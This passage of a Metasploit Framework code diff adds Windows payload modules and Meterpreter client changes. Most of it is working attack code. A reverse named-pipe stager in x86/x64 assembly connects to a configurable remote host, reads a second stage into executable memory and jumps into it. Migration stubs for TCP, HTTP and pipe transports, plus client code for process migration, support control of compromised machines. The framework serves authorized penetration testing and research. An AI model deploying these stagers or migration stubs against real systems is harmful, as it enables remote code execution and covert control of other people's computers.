we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push eax ; space for the number of bytes + mov eax, esp ; store the pointer + push 0 ; lpOverlapped + push eax ; lpNumberOfBytesRead + push esi ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jz read_failed + pop eax ; get the number of bytes read + cmp eax, 0 + jnz read_successful + + read_failed: + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clear up the named pipe handle + push edi ; named pipe handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(...) + + ; restore the stack back to the connection retry count + pop esi + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp try_reverse_named_pipe + ^ + else + asm << %Q^ + pop eax ; pop bytes read + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + asm + end +end +end diff --git a/lib/msf/core/payload/windows/write_uuid.rb b/lib/msf/core/payload/windows/write_uuid.rb new file mode 100644 index 0000000000000..df7773ceb7afa --- /dev/null +++ b/lib/msf/core/payload/windows/write_uuid.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic write_uuid stub for Windows ARCH_X86 payloads +# +### + +module Payload::Windows::WriteUUID + + # + # Generate assembly code that writes the UUID to a file handle. + # + # This code assumes that the block API pointer is in ebp, and + # the communications file handle is in edi. + # + def asm_write_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + write_uuid: + push 0 ; lpOverlapped + push 0 ; lpNumberOfBytesWritten + push #{uuid_raw.length} ; nNumberOfBytesToWrite + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} + call ebp ; call WriteFile(...) + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/migrate.rb b/lib/msf/core/payload/windows/x64/migrate.rb new file mode 100644 index 0000000000000..52061c16d7fa4 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate.rb @@ -0,0 +1,6 @@ +# -*- coding: binary -*- +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/migrate_tcp' +require 'msf/core/payload/windows/x64/migrate_http' +require 'msf/core/payload/windows/x64/migrate_pipe' + diff --git a/lib/msf/core/payload/windows/x64/migrate_http.rb b/lib/msf/core/payload/windows/x64/migrate_http.rb new file mode 100644 index 0000000000000..ee4752de95894 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_http.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over HTTP/S transports on x64. +# +### + +module Payload::Windows::MigrateHttp_x64 + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over HTTP/S transports (x64)', + 'Description' => 'Migration stub to use over HTTP/S transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + + diff --git a/lib/msf/core/payload/windows/x64/migrate_pipe.rb b/lib/msf/core/payload/windows/x64/migrate_pipe.rb new file mode 100644 index 0000000000000..509736bea5dbf --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_pipe.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x64. +# +### + +module Payload::Windows::MigratePipe_x64 + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport (x64)', + 'Description' => 'Migration stub to use over Named Pipe transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + mov rdi, qword [esi+16] ; The duplicated pipe handle is in the migrate context. + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + + + diff --git a/lib/msf/core/payload/windows/x64/migrate_tcp.rb b/lib/msf/core/payload/windows/x64/migrate_tcp.rb new file mode 100644 index 0000000000000..30d79b3c4d2df --- /dev/null +++ b/lib/msf/core/payload/windows/x64/migrate_tcp.rb @@ -0,0 +1,88 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' + +module Msf + +### +# +# Payload that supports migrating over TCP transports on x64. +# +### + +module Payload::Windows::MigrateTcp_x64 + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + + WSA_DATA_SIZE = 408 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over TCP transport (x64)', + 'Description' => 'Migration stub to use over TCP transports (x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + mov rsi, rcx + sub rsp, 0x2000 + and rsp, ~0xF + call start + #{asm_block_api} + start: + pop rbp + load_ws2_32: + mov r14, 'ws2_32' + push r14 + mov rcx, rsp ; pointer to 'ws2_32' + sub rsp, #{WSA_DATA_SIZE}+8 ; alloc size, plus alignment + mov r13, rsp ; save pointer to the struct + sub rsp, 0x28 ; space for function calls (really?) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA('ws2_32') + init_networking: + mov rdx, r13 ; Pointer to wsadata struct + push 2 + pop rcx ; version = 2 + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup(Version, &WSAData) + create_socket: + xor r8, r8 ; protocol not specified + push r8 ; flags == 0 + push r8 ; reserved == NULL + lea r9, [rsi+16] ; Pointer to the info in the migration context + push 1 + pop rdx ; SOCK_STREAM + push 2 + pop rcx ; AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0) + xchg rdi, rax + signal_event: + mov rcx, qword [rsi] ; Event handle is pointed at by rsi + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call rbp ; SetEvent(handle) + call_payload: + call qword [rsi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb new file mode 100644 index 0000000000000..3af13e71e3a87 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -0,0 +1,277 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/x64/write_uuid' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' + +module Msf + +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64 +# +### + +module Payload::Windows::ReverseNamedPipe_x64 + + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::WriteUUID_x64 + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + + # + # Register reverse_named_pipe specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; block API pointer + #{asm_reverse_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 + + # Reliability adds bytes! + space += 57 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + + #reliable = opts[:reliable] + reliable = false + retry_count = [opts[:retry_count].to_i, 1].max + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: RBP must be the address of 'api_call' + ; Output: RDI will be the handle to the named pipe. + + retry_start: + push #{retry_count} ; retry counter + pop r14 + + ; Func(rcx, rdx, r8, r9, stack ...) + try_reverse_named_pipe: + call get_pipe_name + db "#{full_pipe_name}", 0x00 + get_pipe_name: + pop rcx ; lpFileName + ; Start by setting up the call to CreateFile + push 0 ; alignment + push 0 ; hTemplateFile + push 0 ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + xor r9, r9 ; lpSecurityAttributes + xor r8, r8 ; dwShareMode + mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + call rbp ; CreateFileA(...) + + ; check for failure + cmp rax, -1 ; did it work? + jnz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz retry_start + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg rdi, rax ; Save the file handler for later + ^ + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + push 0 ; buffer for lpBuffer + mov rsi, rsp ; lpNumberOfBytesRead + push 4 ; sizeof(DWORD) + pop r8 ; nNumberOfBytesToRead + push 0 ; alignment + push 0 ; lpOverlapped + mov rdx, rsi ; lpBuffer + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the received worked, and reconnect + ; if it fails + test eax, eax + jz cleanup_file + mov rax, [rsi+8] + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + + ; Alloc a RWX buffer for the second stage + add rsp, 0x30 ; slight stack adjustment + pop rsi ; pop off the second stage length + pop rax ; line the stack up again + mov esi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: + push 0 ; buffer for lpNumberOfBytesRead + mov r9, rsp ; lpNumberOfBytesRead + mov rdx, rbx ; lpBuffer + mov r8, rsi ; nNumberOfBytesToRead + push 0 ; lpOverlapped + mov rcx, rdi ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call rbp ; ReadFile(...) + add rsp, 0x28 ; slight stack adjustment + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the read worked + ; if it fails + test eax, eax + jnz read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_DECOMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clean up the socket + push rdi ; file handle + pop rcx ; hFile + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp retry_start + ^ + end + + asm << %Q^ + read_successful: + pop rax + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/write_uuid.rb b/lib/msf/core/payload/windows/x64/write_uuid.rb new file mode 100644 index 0000000000000..c00c36149e9be --- /dev/null +++ b/lib/msf/core/payload/windows/x64/write_uuid.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic write_uuid stub for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::WriteUUID_x64 + + # + # Generate assembly code that writes the UUID to a file handle. + # + # This code assumes that the block API pointer is in ebp, and + # the communications file handle is in edi. + # + def asm_write_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + write_uuid: + xor r9, r9 ; lpNumberOfBytesWritten + push #{uuid_raw.length} ; nNumberOfBytesToWrite + pop r8 + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + pop rdx ; lpBuffer + mov rcx, rdi ; hFile + push 0 ; alignment + push 0 ; lpOverlapped + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} + call rbp ; call WriteFile(...) + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + + + diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 3a84221c7a161..f9140c8b2eabf 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -81,7 +81,6 @@ def initialize self.alive = true self.uuid = Rex::Text.rand_text_alphanumeric(8).downcase @routes = RouteArray.new(self) - #self.routes = [] end # Direct descendants diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index f28ef716628fd..aa0722b18bb76 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -68,7 +68,8 @@ def transport_block(opts) lhost = "[#{lhost}]" end - url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}" + url = "#{opts[:scheme]}://#{lhost}" + url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] url << "?#{opts[:scope_id]}" if opts[:scope_id] diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 4fc92b2aa6aa9..7945e3e875e73 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -103,7 +103,7 @@ def cleanup_meterpreter # # Initializes the meterpreter client instance # - def init_meterpreter(sock,opts={}) + def init_meterpreter(sock, opts={}) self.sock = sock self.parser = PacketParser.new self.ext = ObjectAliases.new @@ -126,6 +126,8 @@ def init_meterpreter(sock,opts={}) self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true + self.use_ssl = capabilities[:ssl] && !opts[:skip_ssl] + # TODO: Clarify why we don't allow unicode to be set in initial options # self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true self.encode_unicode = false @@ -152,9 +154,7 @@ def init_meterpreter(sock,opts={}) register_inbound_handler(Rex::Post::Meterpreter::Channel) else # Switch the socket to SSL mode and receive the hello if needed - if capabilities[:ssl] and not opts[:skip_ssl] - swap_sock_plain_to_ssl() - end + swap_sock_plain_to_ssl() register_extension_alias('core', ClientCore.new(self)) @@ -169,6 +169,8 @@ def init_meterpreter(sock,opts={}) end def swap_sock_plain_to_ssl + return unless self.use_ssl + # Create a new SSL session on the existing socket ctx = generate_ssl_context() ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx) @@ -213,6 +215,8 @@ def swap_sock_plain_to_ssl end def swap_sock_ssl_to_plain + return unless self.use_ssl + # Remove references to the SSLSocket and Context self.sock.sslsock.close self.sock.sslsock = nil @@ -422,6 +426,10 @@ def unicode_filter_decode(str) # attr_accessor :response_timeout # + # Whether to wrap the socket in SSL + # + attr_accessor :use_ssl + # # Whether to send pings every so often to determine liveness. # attr_accessor :send_keepalives diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 44c952e6acc1f..e8a838c254348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -7,6 +7,8 @@ # Used to generate a reflective DLL when migrating. This is yet another # argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' +require 'msf/core/payload/windows/migrate' +require 'msf/core/payload/windows/x64/migrate' # URI uuid and checksum stuff require 'msf/core/payload/uuid' @@ -35,6 +37,7 @@ class ClientCore < Extension METERPRETER_TRANSPORT_SSL = 0 METERPRETER_TRANSPORT_HTTP = 1 METERPRETER_TRANSPORT_HTTPS = 2 + METERPRETER_TRANSPORT_PIPE = 3 TIMEOUT_SESSION = 24*3600*7 # 1 week TIMEOUT_COMMS = 300 # 5 minutes @@ -42,10 +45,11 @@ class ClientCore < Extension TIMEOUT_RETRY_WAIT = 10 # 10 seconds VALID_TRANSPORTS = { - 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, - 'reverse_http' => METERPRETER_TRANSPORT_HTTP, - 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, - 'bind_tcp' => METERPRETER_TRANSPORT_SSL + 'reverse_tcp' => METERPRETER_TRANSPORT_SSL, + 'reverse_http' => METERPRETER_TRANSPORT_HTTP, + 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, + 'reverse_named_pipe' => METERPRETER_TRANSPORT_PIPE, + 'bind_tcp' => METERPRETER_TRANSPORT_SSL } include Rex::Payloads::Meterpreter::UriChecksum @@ -123,6 +127,10 @@ def transport_list result end + def get_transport_current + transport_list[:transports][0] + end + def set_transport_timeouts(opts={}) request = Packet.create_request('core_transport_set_timeouts') @@ -481,7 +489,8 @@ def migrate(pid, writable_dir = nil, opts = {}) # Rex::Post::FileStat#writable? isn't available end - blob = generate_payload_stub(process) + migrate_stub = generate_migrate_stub(process) + migrate_payload = generate_payload_stub(process) # Build the migration request request = Packet.create_request('core_migrate') @@ -493,23 +502,25 @@ def migrate(pid, writable_dir = nil, opts = {}) raise RuntimeError, 'The writable dir is too long', caller end - pos = blob.index(DEFAULT_SOCK_PATH) + pos = migrate_payload.index(DEFAULT_SOCK_PATH) if pos.nil? raise RuntimeError, 'The meterpreter binary is wrong', caller end - blob[pos, socket_path.length + 1] = socket_path + "\x00" + migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00" - ep = elf_ep(blob) + ep = elf_ep(migrate_payload) request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) end request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) - request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) - request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length ) + request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib]) + request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length ) + request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub) if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 @@ -631,6 +642,10 @@ def transport_prepare_request(method, opts={}) end if opts[:transport].starts_with?('reverse') + if opts[:transport].ends_with?('pipe') && !opts[:lhost] + opts[:lhost] = '.' + end + return false unless opts[:lhost] else # Bind shouldn't have lhost set @@ -641,8 +656,9 @@ def transport_prepare_request(method, opts={}) request = Packet.create_request(method) - scheme = opts[:transport].split('_')[1] - url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" + scheme = opts[:transport].split('_')[-1] + url = "#{scheme}://#{opts[:lhost]}" + url << ":#{opts[:lport]}" if opts[:lport] if opts[:luri] && opts[:luri].length > 0 if opts[:luri][0] != '/' @@ -671,7 +687,7 @@ def transport_prepare_request(method, opts={}) end # do more magic work for http(s) payloads - unless opts[:transport].ends_with?('tcp') + if opts[:transport] =~ /https?/ if opts[:uri] url << '/' unless opts[:uri].start_with?('/') url << opts[:uri] @@ -709,9 +725,48 @@ def transport_prepare_request(method, opts={}) request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) request.add_tlv(TLV_TYPE_TRANS_URL, url) - return request + request end + def generate_migrate_stub(process) + stub = nil + case client.platform + when /win/i + t = get_transport_current + + c = Class.new(::Msf::Payload) + + if process['arch'] == ARCH_X86 + c.include(::Msf::Payload::Windows::BlockApi) + + case t[:url] + when /^tcp/ + c.include(::Msf::Payload::Windows::MigrateTcp) + when /^http/ + # covers both HTTP and HTTPS + c.include(::Msf::Payload::Windows::MigrateHttp) + when /^pipe/ + c.include(::Msf::Payload::Windows::MigratePipe) + end + else + c.include(::Msf::Payload::Windows::BlockApi_x64) + + case t[:url] + when /^tcp/ + c.include(::Msf::Payload::Windows::MigrateTcp_x64) + when /^http/ + # covers both HTTP and HTTPS + c.include(::Msf::Payload::Windows::MigrateHttp_x64) + when /^pipe/ + c.include(::Msf::Payload::Windows::MigratePipe_x64) + end + end + stub = c.new().generate + else + raise RuntimeError, "Unsupported platform '#{client.platform}'" + end + stub + end def generate_payload_stub(process) case client.platform @@ -742,9 +797,7 @@ def generate_windows_stub(process) # Create the migrate stager migrate_stager = c.new() - blob = migrate_stager.stage_meterpreter - - blob + migrate_stager.stage_meterpreter end def generate_linux_stub diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb new file mode 100644 index 0000000000000..a201811a5383e --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/named_pipe.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- + +require 'thread' +require 'rex/socket' +require 'rex/post/meterpreter/extensions/stdapi/tlv' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel' +require 'rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel' +require 'rex/logging' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net + +### +# +# This class wraps up all the functionality tha tis required to deal with named +# pipe functionality on the target Meterpreter session. +# +### +class NamedPipe + + ## + # + # Constructor + # + ## + + def initialize(client) + self.client = client + + client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::NamedPipeServerChannel) + + end + + def shutdown + client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::NamedPipeServerChannel) + end + + ## + # + # Factory + # + ## + + # + # Creates an arbitrary client socket channel using the information supplied + # in the socket parameters instance. The +params+ argument is expected to be + # of type Rex::Socket::Parameters. + # + def create(params={}) + res = nil + + if params[:listen] == true + res = create_named_pipe_server_channel(params) + else + res = create_named_pipe_client_channel(params) + end + + return res + end + + # + # Create a named pipe server channel. + # + def create_named_pipe_server_channel(params) + SocketSubsystem::NamedPipeServerChannel.open(client, params) + end + + # + # Creates a named pipe client channel. + # + def create_named_pipe_client_channel(params) + begin + channel = SocketSubsystem::NamedPipeClientChannel.open(client, params) + if channel != nil + return channel.lsock + end + return nil + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + raise e + end + end + +protected + + attr_accessor :client # :nodoc: + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb new file mode 100644 index 0000000000000..711f664e0c1a8 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_client_channel.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +require 'thread' +require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/stream' +require 'rex/post/meterpreter/extensions/stdapi/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net +module SocketSubsystem + +### +# +# This class represents a logical named pipe client connection +# that is established from the remote machine and tunnelled +# through the established meterpreter connection, similar to an +# SSH port forward. +# +### +class NamedPipeClientChannel < Rex::Post::Meterpreter::Stream + + ## + # + # Factory + # + ## + + # + # Opens a named pipe client channel using the supplied parameters. + # + def NamedPipeClientChannel.open(client, params) + c = Channel.create(client, 'stdapi_net_named_pipe_client', self, CHANNEL_FLAG_SYNCHRONOUS, + [ + { 'type' => TLV_TYPE_PEER_HOST, 'value' => params.peerhost }, + { 'type' => TLV_TYPE_PEER_PORT, 'value' => params.peerport }, + { 'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost }, + { 'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport }, + { 'type' => TLV_TYPE_CONNECT_RETRIES, 'value' => params.retries } + ]) + c.params = params + c + end + + ## + # + # Constructor + # + ## + + # + # Passes the channel initialization information up to the base class. + # + def initialize(client, cid, type, flags, pipe_name) + super(client, cid, type, flags) + + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) + lsock.channel = self + + rsock.extend(SocketInterface) + rsock.channel = self + + lsock.initinfo("Pipe (#{pipe_name})", "Session (#{client.tunnel_to_s})") + end + + # + # Closes the write half of the connection. + # + def close_write + return shutdown(1) + end + + # + # Shutdown the connection + # + # 0 -> future reads + # 1 -> future sends + # 2 -> both + # + def shutdown(how = 1) + request = Packet.create_request('stdapi_net_socket_named_pipe_shutdown') + + request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how) + request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) + + client.send_request(request) + + return true + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb new file mode 100644 index 0000000000000..0e9a48b16aa40 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/named_pipe_server_channel.rb @@ -0,0 +1,167 @@ +# -*- coding: binary -*- 